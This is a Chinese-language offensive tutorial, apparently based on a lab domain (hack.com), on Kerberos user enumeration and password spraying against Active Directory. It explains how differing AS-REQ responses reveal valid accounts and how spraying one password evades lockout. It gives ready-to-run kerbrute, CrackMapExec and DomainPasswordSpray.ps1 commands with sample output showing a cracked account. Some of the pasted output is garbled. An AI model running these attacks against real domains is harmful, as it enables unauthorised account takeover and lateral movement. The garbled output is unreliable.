Password Spraying密码喷洒攻击和域内用 户枚举横向移动

域内用户枚举攻击原理

正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举



枚举工具介绍

kerbrute工具

kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt

密码喷洒攻击原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC ERP PREAUTH FAILED,

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

kerbrute工具

```
kerbrute.exe passwordspray -d hack.com 1.txt Admin@123
```

CrackMapExec

CrackMapExec (又名 CME) 是一款非常好用的密码喷洒攻击的工具,在 Kali Linux 默认已经安装好。

下载地址: https://github.com/byt3bl33d3r/CrackMapExec

```
crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success
```

```
crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success
                                                    [*] Windows Server 2012 R2 Standard 960
           192.168.41.10 445
                                  DC
DC) (domain:hack.com) (signing:True) (SMBv1:True)
           192.168.41.10
                                  DC
                                                    [+] hack.com\zs:Admin@123
                                  DC
           192.168.41.10
                           445
                                                        hack.com\li:Admin@123 STATUS_LOGON_
           192.168.41.10
                           445
                                  DC
                                                    [-] hack.com\wanli:Admin@123 STATUS ACC
TION
```

DomainPasswordSpray.ps1

必须是域内用户才可以

UserList: 用户字典 Password: 单个密码 PasswordList: 密码字典 OutFile: 输出的文件名 Domain: 要爆破的域

Force: 强制喷洒继续,而不提示确认。

T rully Qualificed crrowing . Method Notround

- [*] The domain password policy observation window is set to minutes.
- [*] Setting a minute wait in between sprays.

Confirm Password Spray

Are you sure you want to perform a password spray against 3000 accounts?

- [Y] Yes [N] No [?] 帮助 (默认值为"Y"): y
- [*] Password spraying has begun with 1 passwords
- [*] This might take a while depending on the total number of users
- [*] Now trying password Admin@123 against 3000 users. Current time is 14:05
- [*] SUCCESS! User:zs Password:Admin@123
- [*] Password spraying is complete
- [*] Any passwords that were successfully sprayed have been output to res.txt
- PS C:\Users\administrator.HACK.000\Desktop>